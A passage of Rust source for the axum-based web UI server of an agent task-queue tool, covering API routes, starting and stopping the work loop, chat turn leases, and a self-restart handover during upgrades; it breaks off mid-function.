1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324 resuming: Arc<Mutex<HashSet<String>>>,
332 repos_cache: repos::Cache,
336 machine_config: Option<PathBuf>,
340 merge: Option<String>,
342 looping: Arc<Mutex<LoopState>>,
344 launch: Launch,
356 #[cfg(test)]
359 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362#[cfg(test)]
382struct BusyQueueGate {
383 reached: tokio::sync::oneshot::Sender<()>,
384 release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391 }
392}
393
394impl Ui {
395 pub fn new(
397 queue: Queue,
398 questions: Questions,
399 talks: Talks,
400 runs: PathBuf,
401 home: PathBuf,
402 repo: PathBuf,
403 ) -> Self {
404 Self {
405 queue,
406 questions,
407 notices: Notices::at(home.join("notifications")),
408 talks,
409 runs,
410 home,
411 repo,
412 worktrees_root: run::default_worktree_root(),
416 talk_turns: Arc::default(),
417 upgrade_gate: Arc::default(),
418 upgrade_spawned: Arc::default(),
419 resuming: Arc::default(),
420 repos_cache: repos::Cache::new(),
421 machine_config: Config::machine_layer(),
422 merge: None,
423 looping: Arc::default(),
424 launch: launch_daemon,
425 #[cfg(test)]
426 busy_queue_gate: Arc::default(),
427 }
428 }
429
430 pub fn open(repo: PathBuf) -> Self {
433 Self::new(
434 Queue::open(),
435 Questions::open(),
436 Talks::open(),
437 run::runs_root(),
438 run::home(),
439 repo,
440 )
441 }
442
443 #[must_use]
450 pub fn with_merge(mut self, merge: Option<String>) -> Self {
451 self.merge = merge;
452 self
453 }
454
455 #[cfg(test)]
458 #[must_use]
459 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460 self.machine_config = path;
461 self
462 }
463
464 #[must_use]
469 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470 self.worktrees_root = root;
471 self
472 }
473
474 #[cfg(test)]
479 #[must_use]
480 fn with_launch(mut self, launch: Launch) -> Self {
481 self.launch = launch;
482 self
483 }
484
485 #[cfg(test)]
495 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496 *self
497 .busy_queue_gate
498 .lock()
499 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500 }
501
502 fn looping(&self) -> Arc<Mutex<LoopState>> {
504 Arc::clone(&self.looping)
505 }
506
507 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514 if let Some(other) = foreign {
515 return Err(ApiError::conflict(format!(
516 "{} is already running the loop, so this one will not start a \
517 second: two loops on one queue race for the same claims and \
518 burn the agent quota twice over. Stop it where it was \
519 started.",
520 other.who()
521 )));
522 }
523 let mut state = self.lock_loop();
524 if state.live.as_ref().is_some_and(Live::alive) {
525 return Err(ApiError::conflict(format!(
526 "this magi web process (pid {}) is already running the loop",
527 std::process::id()
528 )));
529 }
530
531 let stop = daemon::Stop::new();
532 let opts = daemon::Opts {
536 repo: self.repo.clone(),
537 merge: self.merge.clone(),
538 worktrees_root: Some(self.worktrees_root.clone()),
545 ..daemon::Opts::default()
546 };
547 let launch = self.launch;
548 let looping = Arc::clone(&self.looping);
549 let handle = tokio::spawn({
550 let opts = opts.clone();
551 let stop = stop.clone();
552 async move {
553 let failure = match launch(opts, stop).await {
554 Ok(()) => None,
555 Err(e) => Some(format!("{e:#}")),
556 };
557 match &failure {
558 Some(why) => tracing::error!("the loop stopped: {why}"),
559 None => tracing::info!("the loop stopped"),
560 }
561 let mut state = lock_or_recover(&looping);
567 state.live = None;
568 state.last_error = failure;
569 state.rev += 1;
570 }
571 });
572 tracing::info!(
573 "the loop is now running in this process: repo {}, merge {}",
574 opts.repo.display(),
575 opts.merge.as_deref().unwrap_or("as the config says")
576 );
577 state.live = Some(Live { stop, handle, opts });
578 state.last_error = None;
581 state.rev += 1;
582 Ok(())
583 }
584
585 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591 if let Some(other) = foreign {
592 return Err(ApiError::conflict(format!(
593 "the loop belongs to {}, and this process cannot stop it - \
594 stop it where it was started. A button that silently did \
595 nothing would be worse than this refusal.",
596 other.who()
597 )));
598 }
599 let mut state = self.lock_loop();
600 if !park {
603 state.resume_after_handover = false;
604 }
605 let Some(live) = state.live.as_ref() else {
606 return Ok(());
607 };
608 if live.stop.stopped() && (!park || live.stop.parking()) {
612 return Ok(());
613 }
614 if park {
615 live.stop.park();
616 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617 } else {
618 live.stop.stop();
619 tracing::info!("the loop was asked to stop; a run in flight is finished first");
620 }
621 state.rev += 1;
622 Ok(())
623 }
624
625 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632 let state = self.lock_loop();
633 let live = state.live.as_ref().filter(|live| live.alive());
636 LoopView {
637 running: live.is_some(),
638 stopping: live.is_some_and(|live| live.stop.finishing()),
639 parking: live.is_some_and(|live| live.stop.parking()),
640 owned: live.is_some(),
641 repo: live
642 .map_or(&self.repo, |live| &live.opts.repo)
643 .display()
644 .to_string(),
645 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646 last_error: state.last_error.clone(),
647 daemon: DaemonView::of(reading),
648 }
649 }
650
651 fn resume_after_handover(&self, resume: bool) -> bool {
657 if !resume {
658 return false;
659 }
660 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661 match self.start_loop(foreign) {
662 Ok(()) => true,
663 Err(e) => {
664 let why = format!(
665 "the loop could not be resumed after the upgrade: {}",
666 e.message
667 );
668 tracing::warn!("{why}");
669 let mut state = self.lock_loop();
670 state.last_error = Some(why);
671 state.rev += 1;
672 false
673 }
674 }
675 }
676
677 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679 lock_or_recover(&self.looping)
680 }
681
682 fn is_thinking(&self, id: &str) -> bool {
688 self.talk_turns
689 .lock()
690 .is_ok_and(|turns| turns.live.contains(id))
691 || self.talks.turn_held(id)
694 }
695
696 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715 self.claim_talk_turn(id, false)
716 }
717
718 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721 self.claim_talk_turn(id, true)
722 }
723
724 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725 let mut live = self
726 .talk_turns
727 .lock()
728 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729 if live.parking {
730 if queued {
731 *live.queued.entry(id.to_owned()).or_default() += 1;
734 return Ok(None);
735 }
736 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
737 }
738 let inserted = live.live.insert(id.to_owned());
739 let lease = if inserted {
743 match self.talks.claim_turn(id) {
744 Ok(Some(lease)) => Some(lease),
745 Ok(None) => {
746 live.live.remove(id);
747 None
748 }
749 Err(e) => {
750 live.live.remove(id);
751 return Err(ApiError::from(e));
752 }
753 }
754 } else {
755 None
756 };
757 if lease.is_none() {
758 if queued {
759 *live.queued.entry(id.to_owned()).or_default() += 1;
764 }
765 return Ok(None);
766 }
767 Ok(Some(TalkTurnGuard {
768 talk: id.to_owned(),
769 turns: Arc::clone(&self.talk_turns),
770 released: false,
771 lease,
772 }))
773 }
774
775 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
780 let mut live = self
781 .talk_turns
782 .lock()
783 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
784 if live.parking || live.live.contains(id) {
786 return Ok(TalkTurnStart::Busy);
787 }
788 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
789 return Ok(TalkTurnStart::Foreign);
790 };
791 let talk = self.talks.get(id).map_err(ApiError::from)?;
793 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
794 return Ok(TalkTurnStart::Pending);
795 }
796 live.live.insert(id.to_owned());
797 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
798 talk: id.to_owned(),
799 turns: Arc::clone(&self.talk_turns),
800 released: false,
801 lease: Some(lease),
802 }))
803 }
804
805 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
807 Arc::clone(&self.talk_turns)
808 }
809
810 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
817 let parking = {
818 let mut state = self.lock_loop();
819 let resume = state.resume_after_handover
829 || state
830 .live
831 .as_ref()
832 .is_some_and(|live| live.alive() && !live.stop.stopped());
833 state.resume_after_handover = resume;
834 let Some(live) = state.live.as_ref() else {
835 return Ok(None);
836 };
837 let busy = live.stop.busy_now();
838 live.stop.park();
839 state.rev += 1;
840 busy
841 };
842 Ok(if parking {
843 daemon::current_work(&self.home, jiff::Timestamp::now())
848 .into_iter()
849 .next()
850 .map(|c| c.run)
851 } else {
852 None
853 })
854 }
855
856 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
860 let mut live = self
861 .resuming
862 .lock()
863 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
864 if !live.insert(id.to_owned()) {
865 return Err(ApiError::conflict(format!(
866 "run {id} is already being resumed"
867 )));
868 }
869 Ok(ResumeGuard {
870 run: id.to_owned(),
871 resuming: Arc::clone(&self.resuming),
872 })
873 }
874
875 pub fn router(self) -> Router {
883 Router::new()
884 .route("/", get(index))
885 .route("/app.css", get(app_css))
886 .route("/app.js", get(app_js))
887 .route("/api/health", get(health))
888 .route("/api/loop", get(loop_get).post(loop_post))
889 .route("/api/upgrade", post(upgrade_post))
890 .route("/api/runs", get(runs_list))
891 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
892 .route("/api/runs/{id}/report", get(run_report))
893 .route("/api/runs/{id}/report.json", get(run_report_json))
894 .route("/api/runs/{id}/fold", post(run_fold))
895 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
896 .route("/api/runs/{id}/resume", post(run_resume))
897 .route("/api/queue", get(queue_list))
898 .route("/api/search", get(search_get))
899 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
900 .route("/api/stats", get(stats_get))
901 .route("/api/repos", get(repos_list))
902 .route("/api/settings", get(settings_get))
903 .route("/api/settings/roles", put(settings_put_roles))
904 .route("/api/queue/{id}/hold", post(queue_hold))
905 .route("/api/queue/{id}/release", post(queue_release))
906 .route("/api/queue/{id}/priority", post(queue_priority))
907 .route("/api/queue/{id}/edit", post(queue_edit))
908 .route("/api/queue/{id}/done", post(queue_done))
909 .route("/api/questions", get(questions_list))
910 .route("/api/questions/{id}/answer", post(question_answer))
911 .route("/api/questions/{id}/say", post(question_say))
912 .route("/api/questions/{id}/consult", post(question_consult))
913 .route("/api/questions/{id}/panel", get(question_panel))
914 .route("/api/questions/{id}/panel/index.html", get(question_panel))
922 .route("/api/questions/{id}/panel/{name}", get(question_asset))
923 .route("/api/questions/{id}/asset/{name}", get(question_asset))
924 .route("/api/notifications", get(notifications_list))
925 .route("/api/notifications/read-all", post(notifications_read_all))
926 .route("/api/notifications/{id}/read", post(notification_read))
927 .route(
928 "/api/notifications/{id}/dismiss",
929 post(notification_dismiss),
930 )
931 .route("/api/talks", get(talks_list).post(talk_post))
932 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
933 .route("/api/talks/{id}/say", post(talk_say))
934 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
935 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
936 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
937 .route("/api/talks/{id}/agent", post(talk_agent))
938 .route("/api/talks/{id}/persona", post(talk_persona))
939 .route("/api/talks/{id}/implementers", post(talk_implementers))
940 .route("/api/talks/{id}/close", post(talk_close))
941 .route("/api/talks/{id}/reopen", post(talk_reopen))
942 .route(
948 "/api/talks/{id}/attachments",
949 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
950 )
951 .route(
952 "/api/talks/{id}/attachments/{att}",
953 get(talk_attachment_get),
954 )
955 .route("/api/events", get(events))
956 .with_state(Arc::new(self))
957 }
958}
959
960const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
963
964#[derive(Debug)]
970struct TalkTurnGuard {
971 talk: String,
972 turns: Arc<Mutex<TalkTurns>>,
973 released: bool,
974 lease: Option<crate::talk::TurnLease>,
976}
977
978#[derive(Debug, Default)]
985struct TalkTurns {
986 live: HashSet<String>,
987 queued: HashMap<String, u64>,
988 parking: bool,
992}
993
994enum TalkTurnStart {
997 Claimed(TalkTurnGuard),
998 Busy,
999 Foreign,
1002 Pending,
1003}
1004
1005impl TalkTurnGuard {
1006 fn owns(&self) -> bool {
1010 self.lease
1011 .as_ref()
1012 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1013 }
1014
1015 async fn respond(
1018 &self,
1019 talk: &mut Talk,
1020 talks: &Talks,
1021 cfg: &Config,
1022 text: &str,
1023 ) -> anyhow::Result<()> {
1024 let lease = self
1025 .lease
1026 .as_ref()
1027 .context("the turn guard no longer holds its lease")?;
1028 talk::respond(lease, talk, talks, cfg, text).await
1029 }
1030
1031 fn release(mut self, live: &mut TalkTurns) {
1034 self.lease = None;
1038 live.live.remove(&self.talk);
1039 live.queued.remove(&self.talk);
1040 self.released = true;
1041 }
1042}
1043
1044impl Drop for TalkTurnGuard {
1045 fn drop(&mut self) {
1046 if self.released {
1047 return;
1048 }
1049 drop(self.lease.take());
1051 if let Ok(mut live) = self.turns.lock() {
1052 live.live.remove(&self.talk);
1053 live.queued.remove(&self.talk);
1054 }
1055 }
1056}
1057
1058struct ResumeGuard {
1060 run: String,
1061 resuming: Arc<Mutex<HashSet<String>>>,
1062}
1063
1064impl Drop for ResumeGuard {
1065 fn drop(&mut self) {
1066 if let Ok(mut live) = self.resuming.lock() {
1067 live.remove(&self.run);
1068 }
1069 }
1070}
1071
1072async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1082 const WINDOW: Duration = Duration::from_secs(10);
1083 const GAP: Duration = Duration::from_millis(250);
1084
1085 let deadline = std::time::Instant::now() + WINDOW;
1086 let mut said = false;
1087 loop {
1088 match tokio::net::TcpListener::bind(socket).await {
1089 Ok(listener) => return Ok(listener),
1090 Err(e)
1091 if e.kind() == std::io::ErrorKind::AddrInUse
1092 && std::time::Instant::now() < deadline =>
1093 {
1094 if !said {
1095 said = true;
1096 tracing::info!(
1097 "{socket} is still held - waiting up to {}s for it, \
1098 which is what a restart looks like from here",
1099 WINDOW.as_secs()
1100 );
1101 }
1102 tokio::time::sleep(GAP).await;
1103 }
1104 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1105 }
1106 }
1107}
1108
1109static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1112
1113const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1115
1116fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1118 value.is_some_and(|v| v == "1")
1119}
1120
1121fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1144 let exe = std::env::current_exe().context("find this binary")?;
1145 let args: Vec<String> = std::env::args().skip(1).collect();
1146 updater::log_step(
1147 home,
1148 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1149 );
1150 let log_path = home.join(WEB_LOG);
1151 let open_log = || {
1152 std::fs::create_dir_all(home)?;
1153 std::fs::OpenOptions::new()
1154 .create(true)
1155 .append(true)
1156 .open(&log_path)
1157 };
1158 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1159 Ok(pair) => (
1160 std::process::Stdio::from(pair.0),
1161 std::process::Stdio::from(pair.1),
1162 ),
1163 Err(e) => {
1164 updater::log_warn(
1165 home,
1166 &format!(
1167 "could not open {}: {e}; the successor logs nowhere",
1168 log_path.display()
1169 ),
1170 );
1171 (std::process::Stdio::null(), std::process::Stdio::null())
1172 }
1173 };
1174
1175 let mut cmd = std::process::Command::new(&exe);
1176 if resume {
1177 cmd.env(RESUME_LOOP_ENV, "1");
1178 } else {
1179 cmd.env_remove(RESUME_LOOP_ENV);
1180 }
1181 cmd.args(&args)
1182 .stdin(std::process::Stdio::null())
1183 .stdout(out)
1184 .stderr(err);
1185 #[cfg(windows)]
1186 {
1187 use std::os::windows::process::CommandExt as _;
1188 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1191 }
1192 let child = cmd.spawn().context("start the successor")?;
1193 Ok(child.id())
1194}
1195
1196const WEB_LOG: &str = "web.log";
1198
1199async fn wait_for_handover(signal: &Notify) {
1203 signal.notified().await;
1204}
1205
1206pub async fn serve(opts: Opts) -> Result<()> {
1231 let (addr, warning) = resolve_bind(&opts.bind);
1232 if let Some(warning) = warning {
1233 tracing::warn!("{warning}");
1234 }
1235
1236 report::set_color(false);
1242
1243 let repo = normalize_default_repo(opts.repo).await;
1244 let ui = Ui::open(repo).with_merge(opts.merge);
1245 let home = ui.home.clone();
1250 let repo = ui.repo.clone();
1251 updater::reconcile_after_restart(&home);
1256 updater::log_step(
1257 &home,
1258 &format!(
1259 "web process started (version {}); handover log {}, successor output {}",
1260 env!("CARGO_PKG_VERSION"),
1261 updater::log_path(&home).display(),
1262 home.join(WEB_LOG).display()
1263 ),
1264 );
1265 updater::spawn_watchdog(home.clone());
1266 tokio::spawn(run_update_recheck(repo, home.clone()));
1275 let looping = ui.looping();
1276 let turns = ui.turns();
1277 let talk_store = ui.talks.clone();
1278 let socket = SocketAddr::new(addr, opts.port);
1279 let listener = bind_waiting(socket).await?;
1280 let url = format!("http://{addr}:{}", opts.port);
1281 tracing::info!(
1282 "magi web UI on {url} - there is no authentication, so anyone who can \
1283 reach this address can file and hold tasks: the tailnet is the \
1284 security boundary"
1285 );
1286 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1287 tracing::info!("resumed the loop the predecessor was running");
1288 } else {
1289 tracing::info!(
1290 "the queue loop is not running yet - start it from the UI, which is \
1291 the whole reason this process can: nothing in the queue moves until \
1292 something is running the loop"
1293 );
1294 }
1295 if opts.open {
1296 println!("{url}");
1300 }
1301
1302 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1305 let interrupted = async {
1306 if tokio::signal::ctrl_c().await.is_err() {
1307 std::future::pending::<()>().await;
1312 }
1313 };
1314 let handover = wait_for_handover(&HANDOVER);
1315 let outcome = tokio::select! {
1316 joined = &mut served => match joined {
1317 Ok(outcome) => outcome.context("serve the web UI"),
1318 Err(e) => Err(e).context("the task serving the web UI ended"),
1319 },
1320 () = interrupted => {
1321 tracing::info!("shutting down the web UI");
1322 finish_loop(&home, &looping, None).await;
1323 Ok(())
1324 }
1325 () = handover => {
1326 updater::log_step(&home, "serve: the select! woke on the handover signal");
1327 let successor_home = home.clone();
1328 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1329 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1330 spawn_successor(&successor_home, resume)
1331 })
1332 .await
1333 }
1334 };
1335 updater::log_step(
1336 &home,
1337 &match &outcome {
1338 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1339 Err(e) => format!("serve: returning an error: {e:#}"),
1340 },
1341 );
1342 outcome
1343}
1344
1345async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1366 if repo != FsPath::new(".") {
1367 return repo;
1368 }
1369 let Ok(canonical) = repo.canonicalize() else {
1370 return repo;
1371 };
1372 if git::toplevel(&canonical).await.is_ok() {
1373 return repo;
1374 }
1375 let Some(home) = dirs::home_dir() else {
1376 return repo;
1377 };
1378 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1379 Some(found) => {
1380 tracing::info!(
1381 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1382 canonical.display(),
1383 found.path.display(),
1384 found.reason,
1385 );
1386 found.path
1387 }
1388 None => repo,
1389 }
1390}
1391
1392async fn hand_over(
1422 home: &FsPath,
1423 looping: &Mutex<LoopState>,
1424 turns: &Arc<Mutex<TalkTurns>>,
1425 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1426 served: tokio::task::JoinHandle<std::io::Result<()>>,
1427 successor: impl FnOnce(bool) -> Result<u32>,
1428) -> Result<()> {
1429 updater::log_step(home, "hand_over: entered; writing the parking stage");
1430 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1434 if !recorded {
1435 updater::log_warn(
1436 home,
1437 "hand_over: upgrade.json is unreadable; no parking stage",
1438 );
1439 }
1440 finish_loop(home, looping, Some(&mut lease)).await;
1445 let parking = ParkingTurns::begin(turns);
1446 let talks_done = finish_talks(home, turns, talk_wait);
1447 tokio::pin!(talks_done);
1448 let mut beat = tokio::time::interval(LEASE_BEAT);
1449 let (abandoned, waited_for) = loop {
1450 tokio::select! {
1451 left = &mut talks_done => break left,
1452 _ = beat.tick() => lease.beat(),
1453 }
1454 };
1455 drop(lease);
1456 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1457 served.abort();
1458 let _ = served.await;
1459 updater::log_step(home, "hand_over: listener released");
1460 let resume = lock_or_recover(looping).resume_after_handover;
1463 match updater::read_progress(home) {
1464 Some(mut progress) => {
1465 progress.advance(updater::Stage::Restarting);
1466 if !abandoned.is_empty() {
1467 progress.detail = Some(format!(
1468 "handed over while {} still running after {} s",
1469 updater::talks_phrase(&abandoned),
1470 waited_for.as_secs()
1471 ));
1472 }
1473 updater::write_progress_logged(home, &progress);
1474 }
1475 None => updater::log_warn(
1476 home,
1477 "hand_over: upgrade.json is unreadable; no restarting stage",
1478 ),
1479 }
1480 updater::log_step(
1481 home,
1482 &format!("hand_over: starting the successor (resume={resume})"),
1483 );
1484 drop(parking);
1485 match successor(resume) {
1486 Ok(pid) => {
1487 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1488 Ok(())
1489 }
1490 Err(e) => {
1491 updater::log_warn(
1492 home,
1493 &format!("hand_over: the successor did not start: {e:#}"),
1494 );
1495 Err(e)
1496 }
1497 }
1498}
1499
1500const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1503
1504const TALK_POLL: Duration = Duration::from_millis(250);
1506
1507fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1510 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1511}
1512
1513fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1518 let default = Config::default().graph.timeout_talk;
1519 let longest = ids
1520 .iter()
1521 .map(|id| {
1522 talks
1523 .get(id)
1524 .ok()
1525 .and_then(|t| Config::discover(&t.repo, None).ok())
1526 .map_or(default, |(c, _)| c.graph.timeout_talk)
1527 })
1528 .max()
1529 .unwrap_or(default);
1530 talk_wait_bound(longest)
1531}
1532
1533struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1537
1538impl ParkingTurns {
1539 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1540 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1541 Self(Arc::clone(turns))
1542 }
1543}
1544
1545impl Drop for ParkingTurns {
1546 fn drop(&mut self) {
1547 self.0
1548 .lock()
1549 .unwrap_or_else(PoisonError::into_inner)
1550 .parking = false;
1551 }
1552}
1553
1554async fn finish_talks(
1559 home: &FsPath,
1560 turns: &Mutex<TalkTurns>,
1561 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1562) -> (Vec<String>, Duration) {
1563 let running = || {
1564 let mut ids: Vec<String> = turns
1565 .lock()
1566 .unwrap_or_else(PoisonError::into_inner)
1567 .live
1568 .iter()
1569 .cloned()
1570 .collect();
1571 ids.sort();
1572 ids
1573 };
1574 let started = std::time::Instant::now();
1575 let mut seen = Vec::new();
1576 let mut bound = Duration::ZERO;
1577 loop {
1578 let ids = running();
1579 if ids != seen {
1580 bound = bound.max(bound_for(&ids));
1581 if ids.is_empty() {
1582 updater::log_step(home, "finish_talks: no chat turn is running");
1583 } else {
1584 updater::log_step(
1585 home,
1586 &format!(
1587 "finish_talks: waiting for {} to finish",
1588 updater::talks_phrase(&ids)
1589 ),
1590 );
1591 }
1592 updater::set_parked_talks(home, &ids);
1593 seen = ids;
1594 }
1595 if seen.is_empty() {
1596 return (Vec::new(), bound);
1597 }
1598 if started.elapsed() >= bound {
1599 updater::log_warn(
1600 home,
1601 &format!(
1602 "finish_talks: {} still running after {} s; handing over anyway",
1603 updater::talks_phrase(&seen),
1604 bound.as_secs()
1605 ),
1606 );
1607 return (seen, bound);
1608 }
1609 tokio::time::sleep(TALK_POLL).await;
1610 }
1611}
1612
1613const LEASE_BEAT: Duration = Duration::from_secs(20);
1616
1617async fn finish_loop(
1624 home: &FsPath,
1625 state: &Mutex<LoopState>,
1626 mut lease: Option<&mut updater::LeaseGuard>,
1627) {
1628 let live = lock_or_recover(state).live.take();
1629 let Some(live) = live else {
1630 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1631 return;
1632 };
1633 live.stop.stop();
1634 lock_or_recover(state).rev += 1;
1635 updater::log_step(
1636 home,
1637 "finish_loop: waiting for the loop to finish the run in flight",
1638 );
1639 let waited = std::time::Instant::now();
1640 let mut handle = live.handle;
1643 let mut beat = tokio::time::interval(LEASE_BEAT);
1644 loop {
1645 tokio::select! {
1646 _ = &mut handle => break,
1647 _ = beat.tick() => {
1648 if let Some(lease) = lease.as_deref_mut() {
1649 lease.beat();
1650 }
1651 }
1652 }
1653 }
1654 updater::log_step(
1655 home,
1656 &format!(
1657 "finish_loop: the loop ended after {:.1}s",
1658 waited.elapsed().as_secs_f32()
1659 ),
1660 );
1661}
1662
1663pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1669 match bind {
1670 Bind::Addr(addr) => (*addr, None),
1671 Bind::Auto => match tailscale_ip() {
1672 Ok(ip) => (IpAddr::V4(ip), None),
1673 Err(why) => (
1674 IpAddr::V4(Ipv4Addr::LOCALHOST),
1675 Some(format!(
